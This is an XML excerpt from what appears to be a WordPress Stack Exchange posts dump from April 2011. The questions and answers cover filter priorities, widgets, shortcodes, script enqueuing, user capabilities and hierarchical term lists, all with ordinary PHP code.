  <row Id="14628" PostTypeId="1" AcceptedAnswerId="14648" CreationDate="2011-04-13T06:49:52.623" Score="1" ViewCount="56" Body="&lt;p&gt;I currently have the following plugins activated in my wordpress installation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;row 1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Outbrain&lt;/p&gt;&#xA;&#xA;&lt;p&gt;row 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Subscribe via feedburner RSS/email&lt;/p&gt;&#xA;&#xA;&lt;p&gt;row 3:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Topsy tweet widget, FB like widget, WP-Email a friend widget&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to change the order in which they appear. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want widgets in row 3 to appear first, outbrain widget to appear last, in row 3. How do i achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although I can fiddle a little bit with PHP if the solution requires, I prefer an independent plugin to take care of the ordering if there exists one!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2587" LastEditorUserId="2587" LastEditorDisplayName="" LastEditDate="2011-04-22T11:23:22.833" LastActivityDate="2011-04-22T11:23:22.833" Title="Is there a way to alter the order in which the plugins appear in the page?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;plugin-recommendation&gt;&lt;3.1&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="14629" PostTypeId="2" ParentId="14511" CreationDate="2011-04-13T06:58:51.867" Score="1" ViewCount="" Body="&lt;p&gt;you are getting the the editor because of the function &lt;strong&gt;*create_post_type()*&lt;/strong&gt; in your code that you have shown above, it is duplicating the function &lt;strong&gt;*recipe_register()*&lt;/strong&gt;. Just remove the *create_post_type* and every thing should be fine.&lt;/p&gt;&#xA;" OwnerUserId="4528" LastActivityDate="2011-04-13T06:58:51.867" />
  <row Id="14630" PostTypeId="1" CreationDate="2011-04-13T07:27:53.113" Score="-1" ViewCount="82" Body="&lt;p&gt;i want to pass id to next_post_link function so i identify this link come from where. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;can some body help me?&lt;/p&gt;&#xA;" OwnerUserId="4628" LastActivityDate="2011-04-13T09:51:35.413" Title="customize next_post_link function" Tags="&lt;functions&gt;&lt;next-post-link&gt;&lt;customization&gt;" AnswerCount="1" />
  <row Id="14631" PostTypeId="1" AcceptedAnswerId="14632" CreationDate="2011-04-13T07:28:09.440" Score="-1" ViewCount="83" Body="&lt;p&gt;IS it possible to make every Widget on Wordpress in a different .php file? &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have one page that contains 12 elements, I want to make each of them &lt;br&gt;&#xA;a Widget so it would be easier to manage/edit them later on, but it would be better &lt;br&gt;&#xA;if it's from a php page rather then from a code block on the Admin panel.&lt;/p&gt;&#xA;" OwnerUserId="3642" LastActivityDate="2011-04-13T11:31:26.100" Title="Widgets in PHP files?" Tags="&lt;widgets&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="14632" PostTypeId="2" ParentId="14631" CreationDate="2011-04-13T07:30:30.810" Score="1" ViewCount="" Body="&lt;p&gt;If the 12 elements are static HTML, you can just create 12 text widgets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they're not, it depends on what you mean by &quot;easy to manage&quot;. I, for one, prefer to be able to easily manage my code via SVN. Using widgets obscures that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want them to be in separate files, just make separate files, put them in their own folder and include them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include './sidebar/part-1.php';&#xA;include './sidebar/part-2.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're sure you really want widgets, wrap the code in the files mentioned previously in classes, as described here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Widgets_API#Developing_Widgets&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Widgets_API#Developing_Widgets&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-04-13T11:31:26.100" LastActivityDate="2011-04-13T11:31:26.100" CommentCount="2" />
  <row Id="14633" PostTypeId="2" ParentId="13826" CreationDate="2011-04-13T07:43:33.633" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/fix-reversed-comments-pagination/&quot; rel=&quot;nofollow&quot;&gt;This plugin&lt;/a&gt; makes it easy for you to solve this problem. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7929" LastActivityDate="2011-04-13T07:43:33.633" CommentCount="2" />
  <row Id="14634" PostTypeId="2" ParentId="14627" CreationDate="2011-04-13T08:50:03.133" Score="2" ViewCount="" Body="&lt;p&gt;As far as i am aware there is &quot;no&quot; standard each sidebar is defined by the theme itself i would create the elements so that they stretch and wrap in your div and use %'s in your css for associated sizes.&lt;/p&gt;&#xA;" OwnerUserId="4369" LastActivityDate="2011-04-13T08:50:03.133" />
  <row Id="14635" PostTypeId="2" ParentId="14596" CreationDate="2011-04-13T09:42:31.863" Score="1" ViewCount="" Body="&lt;p&gt;If your code is wrapped inside a class, use a class variable to store the plugin's page hook, it'll make for easy reference, and basically do what Rarst is doing but without needing the global statements...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class WPSE_Example_Code {&#xA;    private $hook;&#xA;    function __construct() {&#xA;        add_action( 'admin_menu', array( $this, 'on_admin_menu' ) );&#xA;    }&#xA;    function on_admin_menu() {&#xA;        $this-&amp;gt;hook = add_options_page( .. your params .. );&#xA;        add_action( 'admin_enqueue_scripts', array( $this, 'on_admin_enqueue_scripts' ) );&#xA;        // OR (you'd not need the conditional statement in the function below if using this method)&#xA;        // add_action( 'admin_print_scripts-' . $this-&amp;gt;hook , array( $this, 'on_admin_enqueue_scripts' ) );&#xA;    }&#xA;    function on_admin_enqueue_scripts( $hook_suffix ) {&#xA;        if( $this-&amp;gt;hook != $hook_suffix )&#xA;            return;&#xA;        wp_enqueue_script( 'your-script-handle', plugins_url( '/yourfilename.js', __FILE__ ), array( 'jquery' ), '1.0', true );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Technically speaking, either &lt;code&gt;admin_print_scripts-$hook&lt;/code&gt; or &lt;code&gt;admin_enqueue_scripts&lt;/code&gt; are both suitable for your use, which you use is really a matter of preference. I tend to use the &lt;code&gt;admin_print_scripts-$hook&lt;/code&gt; myself(because i usually only need a script for a single page, it avoids the need to write conditional logic inside the callback, as per my example).&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-13T10:32:21.303" LastActivityDate="2011-04-13T10:32:21.303" CommentCount="1" />
  <row Id="14636" PostTypeId="2" ParentId="14630" CreationDate="2011-04-13T09:51:35.413" Score="1" ViewCount="" Body="&lt;p&gt;You can try to add a filter to &lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/get_pagenum_link?version=3.1&amp;amp;file=wp-includes/link-template.php&quot; rel=&quot;nofollow&quot;&gt;get_pagenum_link&lt;/a&gt; in your theme/plugin functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('get_pagenum_link','wpse14630',1,1); &#xA;&#xA;function wpse14630($mypagelink){&#xA;   $mypagelink = site_url().get_the_permalink().'/?id='.get_the_ID();&#xA;   return $mypagelink;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not tested but I know that's the right filter as I use it in one of my plugins. This should get you on the right track. &lt;/p&gt;&#xA;" OwnerUserId="2204" LastActivityDate="2011-04-13T09:51:35.413" />
  <row Id="14637" PostTypeId="1" AcceptedAnswerId="14644" CreationDate="2011-04-13T10:14:01.897" Score="0" ViewCount="78" Body="&lt;p&gt;I'm trying to get VideoJS plugin to work in a Widget. &lt;br&gt;&#xA;I tried to add a PHP widget and write, as it said in the manual: &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[video mp4=&quot;http://video-js.zencoder.com/oceans-clip.mp4&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it just shows the code as is, any ideas?&lt;/p&gt;&#xA;" OwnerUserId="3642" LastActivityDate="2011-04-13T11:12:13.707" Title="VideoJS in a Widget?" Tags="&lt;videos&gt;" AnswerCount="2" />
  <row Id="14638" PostTypeId="2" ParentId="14531" CreationDate="2011-04-13T10:14:52.740" Score="2" ViewCount="" Body="&lt;p&gt;You should be able to get the queried object id and use that for comparison inside your custom loop..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before your existing loop code(what you have posted above), but obviously after the opening PHP tag..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_query;&#xA;$current_id = $wp_query-&amp;gt;get_queried_object_id();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then somewhere inside your custom WP loops..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( $current_id == get_the_ID() ) {&#xA;    // This result is the current one&#xA;}&#xA;else {&#xA;    // Not current&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-04-13T10:14:52.740" />
  <row Id="14639" PostTypeId="2" ParentId="14637" CreationDate="2011-04-13T10:15:45.120" Score="0" ViewCount="" Body="&lt;p&gt;You can't use a WordPress shortcode in PHP code. You'll need to find the corresponding function and use that.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-13T10:15:45.120" />
  <row Id="14640" PostTypeId="1" CreationDate="2011-04-13T10:25:02.940" Score="0" ViewCount="144" Body="&lt;p&gt;I have the following that works fine..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;elseif( get_post_type($post-&amp;gt;ID) == 'press' ){the_title_attribute();}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, i need the aforementioned title to be wrapped with a h2 tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried this but it just puts the h2 after the title...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;elseif( get_post_type($post-&amp;gt;ID) == 'press' ){echo'&amp;lt;h2&amp;gt;'. the_title_attribute() .'&amp;lt;/h2&amp;gt;';}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks for any help :)&lt;/p&gt;&#xA;" OwnerUserId="4630" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-13T10:34:27.420" LastActivityDate="2011-04-13T12:41:06.797" Title="Wrap the_title_attribute in a H2 within a Conditional Tag?" Tags="&lt;title&gt;&lt;conditional-tags&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="14642" PostTypeId="2" ParentId="4092" CreationDate="2011-04-13T10:33:23.670" Score="-2" ViewCount="" Body="&lt;p&gt;Follow the link below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://fingerfish.com/?p=314#more-314&quot; rel=&quot;nofollow&quot;&gt;http://fingerfish.com/?p=314#more-314&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4631" LastActivityDate="2011-04-13T10:33:23.670" CommentCount="2" />
  <row Id="14643" PostTypeId="2" ParentId="14640" CreationDate="2011-04-13T10:36:37.513" Score="1" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;the_title_attribute&lt;/code&gt; function already echoes, so you can't echo it's value, try this instead.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;elseif( get_post_type($post-&amp;gt;ID) == 'press' ){ ?&amp;gt;&amp;lt;h2&amp;gt;&amp;lt;?php the_title_attribute(); ?&amp;gt;&amp;lt;/h2&amp;gt;&amp;lt;?php }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or alternatively..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;elseif( get_post_type($post-&amp;gt;ID) == 'press' ){ echo '&amp;lt;h2&amp;gt;'; the_title_attribute(); echo'&amp;lt;/h2&amp;gt;'; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or alternately:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;elseif( get_post_type($post-&amp;gt;ID) == 'press' ){ echo '&amp;lt;h2&amp;gt;' . the_title_attribute( '', '', false ) . '&amp;lt;/h2&amp;gt;'; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-04-13T11:27:55.617" LastActivityDate="2011-04-13T11:27:55.617" CommentCount="3" />
  <row Id="14644" PostTypeId="2" ParentId="14637" CreationDate="2011-04-13T11:06:16.130" Score="1" ViewCount="" Body="&lt;p&gt;To display shortcodes in widgets  , use a regular text widget, and add this line to your theme's functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Use shortcodes in text widgets.&#xA;add_filter('widget_text', 'do_shortcode');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This tells WordPress to render the shortcodes in widgets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and if you want to call  your shortcode by php you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/do_shortcode&quot; rel=&quot;nofollow&quot;&gt;do_shortcode()&lt;/a&gt; function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Use shortcode in a PHP file (outside the post editor).&#xA;do_shortcode('[video mp4=&quot;http://video-js.zencoder.com/oceans-clip.mp4&quot;]');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get a better understanding of shortcodes check out &lt;a href=&quot;http://en.bainternet.info/2011/shotcodes-because-its-shorter&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;this tutorial&lt;/strong&gt;&lt;/a&gt; which covers: What shortcodes are, How to use shortcodes, ,How to define your own. and How to use them in widgets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-04-13T11:12:13.707" LastActivityDate="2011-04-13T11:12:13.707" />
  <row Id="14645" PostTypeId="2" ParentId="7134" CreationDate="2011-04-13T11:24:40.393" Score="0" ViewCount="" Body="&lt;p&gt;In case you need more fields on your registration form you can use the &lt;a href=&quot;http://www.cozmoslabs.com/2011/04/12/wordpress-profile-builder-a-front-end-user-registration-login-and-edit-profile-plugin/&quot; rel=&quot;nofollow&quot;&gt;Profile Builder plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It lets you customize your website by adding front-end forms for login, register and edit-profile through the use of shortcodes.&lt;/p&gt;&#xA;" OwnerUserId="2020" LastActivityDate="2011-04-13T11:24:40.393" />
  <row Id="14646" PostTypeId="1" AcceptedAnswerId="14647" CreationDate="2011-04-13T11:30:59.983" Score="0" ViewCount="100" Body="&lt;p&gt;I am working with the Role and Capabilities API for the first time today and making use of the the excellent &lt;a href=&quot;http://justintadlock.com/archives/2009/09/17/members-wordpress-plugin&quot; rel=&quot;nofollow&quot;&gt;Members plugin&lt;/a&gt;. Having tinkered around for some time I notice that the &quot;edit pages&quot; capability does two things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Allow the user to create a new page&lt;/li&gt;&#xA;&lt;li&gt;Allow the user to edit existing pages&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I am trying to split this capability into two. I want my user to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Not be able to create any new pages&lt;/li&gt;&#xA;&lt;li&gt;Allow the user to edit existing pages&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I am looking to write some code for my theme that allows this to happen. I can create a new capability very easily. The challenge is then getting WordPress to respond accordingly to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts would be appreciated.  &lt;/p&gt;&#xA;" OwnerUserId="3310" LastActivityDate="2011-04-13T11:37:29.540" Title="User capability of create page/new page" Tags="&lt;pages&gt;&lt;roles&gt;&lt;capabilities&gt;" AnswerCount="1" />
  <row Id="14647" PostTypeId="2" ParentId="14646" CreationDate="2011-04-13T11:37:29.540" Score="1" ViewCount="" Body="&lt;p&gt;Yes, this is indeed a problem. A dedicated 'create_posts' capability is planed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/16714&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/16714&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-04-13T11:37:29.540" CommentCount="1" />
  <row Id="14648" PostTypeId="2" ParentId="14628" CreationDate="2011-04-13T11:46:47.733" Score="3" ViewCount="" Body="&lt;p&gt;From your comment it looks like you almost got it,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugins that add something under your content usually &lt;code&gt;use the_content&lt;/code&gt; filter by calling a function using &lt;code&gt;add_filter&lt;/code&gt; for example outbarin plugin calls it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_content', 'outbrain_display');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so the way your can order them is by passing the priority parameter &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_content', 'outbrain_display',99); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But changing it directly on the plugin's files is not the right way since next time you will update the plugin you will lose these changes, so the right way to do it is to add an action after the plugins were loaded using the &lt;code&gt;plugins_loaded&lt;/code&gt; action hook  and remove the filters they added and then re add this filters using your desired order:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('plugins_loaded','my_content_filters_order');&#xA;function my_content_filters_order(){&#xA;    //first remove the filter call of the plugin&#xA;    remove_filter('the_content', 'outbrain_display');&#xA;    //... Do that for all filters you want to reorder&#xA;    //... ex: remove_filter('the_content', 'FB_like');&#xA;&#xA;    //then add your own with priority parameter&#xA;    add_filter('the_content', 'outbrain_display',99);&#xA;    //... Do that for all filters just removed and set&#xA;    //... the priority accordingly &#xA;    //...  Lower numbers correspond with earlier execution&#xA;    //... ex: add_filter('the_content', 'FB_like',98);&#xA;    //... this will run first then outbrain&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-13T11:46:47.733" CommentCount="1" />
  <row Id="14649" PostTypeId="2" ParentId="14640" CreationDate="2011-04-13T12:41:06.797" Score="2" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;the_title_attribute()&lt;/code&gt; template tag is intended &lt;em&gt;specifically&lt;/em&gt; for outputting the Title formatted for use in an anchor tag &lt;code&gt;title&lt;/code&gt; attribute. The &lt;code&gt;the_title()&lt;/code&gt; and &lt;code&gt;get_the_title()&lt;/code&gt; template tags are intended for general print/display of the Title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend using &lt;code&gt;get_the_title()&lt;/code&gt;, rather than &lt;code&gt;the_title_attribute()&lt;/code&gt;. To wit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;elseif( get_post_type($post-&amp;gt;ID) == 'press' ){echo'&amp;lt;h2&amp;gt;'. get_the_title() .'&amp;lt;/h2&amp;gt;';}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe this would be more semantically correct.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-13T12:41:06.797" CommentCount="3" />
  <row Id="14650" PostTypeId="2" ParentId="11970" CreationDate="2011-04-13T14:08:25.227" Score="1" ViewCount="" Body="&lt;p&gt;Very crude way of doing it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$children = wp_list_pages(&quot;title_li=&amp;amp;child_of=&quot;.$post-&amp;gt;ID.&quot;&amp;amp;echo=0&amp;amp;exclude=&amp;amp;depth=1&quot;);&#xA;$children = str_replace(&quot;Intro&quot;, &quot;Special&quot;, $children);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or alternatively you can look at using the new menus feature in WordPress 3.0. Build up you menu of pages, and in there you can assign a different menu name to the page title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.support.wordpress.com/menus/&quot; rel=&quot;nofollow&quot;&gt;http://en.support.wordpress.com/menus/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-04-13T14:08:25.227" />
  <row Id="14651" PostTypeId="2" ParentId="13602" CreationDate="2011-04-13T14:14:05.287" Score="1" ViewCount="" Body="&lt;p&gt;Just answering bit by bit here and will add any optimisations I see as I go:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) &lt;code&gt;$termsreg = get_terms(&quot;region&quot;,array('orderby' =&amp;gt; 'slug', 'order' =&amp;gt; 'ASC'));&lt;/code&gt; can be run above the foreach loop. There is no need to run this however many times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Are &quot;all&quot; your hotels that you have in your custom post type get listed somewhere in this page? If during this double loop all your hotels are at least shown once then it would be better to get all you hotels loaded first into an array along with the tax's they belong to. then in the foreach check against the data you already received and then then show the hotel rather than grabbing it from the DB each time. What I'd do to get the hotel data in the first place would be to a custom SQL query to make sure I only pulled the data I needed and to pull both associated tax's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thats all I come up with for now.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-04-13T14:28:33.423" LastActivityDate="2011-04-13T14:28:33.423" />
  <row Id="14652" PostTypeId="1" AcceptedAnswerId="14657" CreationDate="2011-04-13T14:23:30.900" Score="3" ViewCount="220" Body="&lt;p&gt;I have a hierarchical taxonomy called 'geographical locations'. It contains continents on a first level, and then the countries for each one. Example :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Europe&#xA;- Ireland&#xA;- Spain&#xA;- Sweden&#xA;Asia&#xA;- Laos&#xA;- Thailand&#xA;- Vietnam&lt;/p&gt;&#xA;&#xA;&lt;p&gt;etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using get_terms() I managed to output the full list of terms, but the continents get mixed up with the countries, in one big flat list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I output a hierarchical list ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT : just realized the hierachy in my example doesn't show once published, but I guess you get the idea. &lt;/p&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-04-13T14:50:35.473" LastActivityDate="2011-04-13T15:45:16.850" Title="How to show a hierarchical terms list?" Tags="&lt;taxonomy&gt;&lt;list&gt;&lt;terms&gt;&lt;hierarchical&gt;" AnswerCount="4" />
  <row Id="14653" PostTypeId="2" ParentId="14652" CreationDate="2011-04-13T14:31:53.203" Score="1" ViewCount="" Body="&lt;p&gt;Are you passing the &lt;code&gt;hierarchical=true&lt;/code&gt; argument to your &lt;code&gt;get_terms()&lt;/code&gt; call?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-13T14:31:53.203" CommentCount="2" />
  <row Id="14655" PostTypeId="1" AcceptedAnswerId="14659" CreationDate="2011-04-13T14:33:08.117" Score="1" ViewCount="208" Body="&lt;p&gt;I got a pretty basic theme and just found out my &lt;strong&gt;style.css&lt;/strong&gt; file doesn't get loaded into the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;. I already searched around but can't find out, why it's not loading. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I inspected the &lt;code&gt;global $wp_styles&lt;/code&gt; object already but couldn't find anything:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function style_test() &#xA;{ &#xA;    $wp_styles = new WP_Styles();&#xA;&#xA;    echo '&amp;lt;pre&amp;gt;'; &#xA;        // $wp_styles-&amp;gt;enqueue == completely empty&#xA;        print_r( $wp_styles-&amp;gt;registered ); &#xA;    echo '&amp;lt;/pre&amp;gt;'; &#xA;} &#xA;add_action( 'wp_print_scripts', 'style_test', 0 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside the object i also can't find my registered/enqueued stylesheets (they get loaded), so i guess i'm doing something wrong on inspecting this too. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;br&gt;&#xA;If i enqueue it manually, my &lt;strong&gt;style.css&lt;/strong&gt; file get's loaded. Just the automatic loading doesn't work. Further more i can access the file with &lt;code&gt;get_theme_data( TEMPLATEPATH.'/style.css' );&lt;/code&gt; without a problem.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-19T09:43:13.213" LastActivityDate="2011-04-19T09:43:13.213" Title="Why is style.css not being enqueued?" Tags="&lt;styles&gt;&lt;wp-enqueue-style&gt;&lt;wp-register-style&gt;" AnswerCount="1" />
  <row Id="14656" PostTypeId="2" ParentId="14652" CreationDate="2011-04-13T14:37:03.897" Score="3" ViewCount="" Body="&lt;p&gt;You can use wp_list_categories(), with a 'taxonomy' argument.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-04-13T14:37:03.897" />
  <row Id="14657" PostTypeId="2" ParentId="14652" CreationDate="2011-04-13T14:38:04.463" Score="2" ViewCount="" Body="&lt;p&gt;Use &lt;code&gt;wp_list_categories&lt;/code&gt; with the taxonomy argument, it's built for creating hierarchal category lists but will also support using a custom taxonomy..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Codex Example:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_list_categories#Display_Terms_in_a_custom_taxonomy&quot; rel=&quot;nofollow&quot;&gt;Display terms in a custom taxonomy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the list comes back looking flat it's possible you just need a little CSS to add padding to the lists, so you can see their hierarchal structure.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-04-13T14:38:04.463" />
  <row Id="14658" PostTypeId="2" ParentId="14652" CreationDate="2011-04-13T14:39:21.343" Score="1" ViewCount="" Body="&lt;p&gt;I dont know of any function that does what you want but you can build up something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;?php $hiterms = get_terms(&quot;my_tax&quot;, array(&quot;orderby&quot; =&amp;gt; &quot;slug&quot;, &quot;parent&quot; =&amp;gt; 0)); ?&amp;gt;&#xA;    &amp;lt;?php foreach($hiterms as $key =&amp;gt; $hiterm) : ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;?php echo $hiterm-&amp;gt;name; ?&amp;gt;&#xA;            &amp;lt;?php $loterms = get_terms(&quot;my_tax&quot;, array(&quot;orderby&quot; =&amp;gt; &quot;slug&quot;, &quot;parent&quot; =&amp;gt; $hiterm-&amp;gt;term_id)); ?&amp;gt;&#xA;            &amp;lt;?php if($loterms) : ?&amp;gt;&#xA;                &amp;lt;ul&amp;gt;&#xA;                    &amp;lt;?php foreach($loterms as $key =&amp;gt; $loterm) : ?&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;?php echo $loterm-&amp;gt;name; ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;?php endforeach; ?&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I haven't tested this but you can see what I'm getting at. What the above code will do is give you only two levels&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: ahh yes you can use wp_list_categories() to do what you after.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-04-13T15:45:16.850" LastActivityDate="2011-04-13T15:45:16.850" CommentCount="3" />
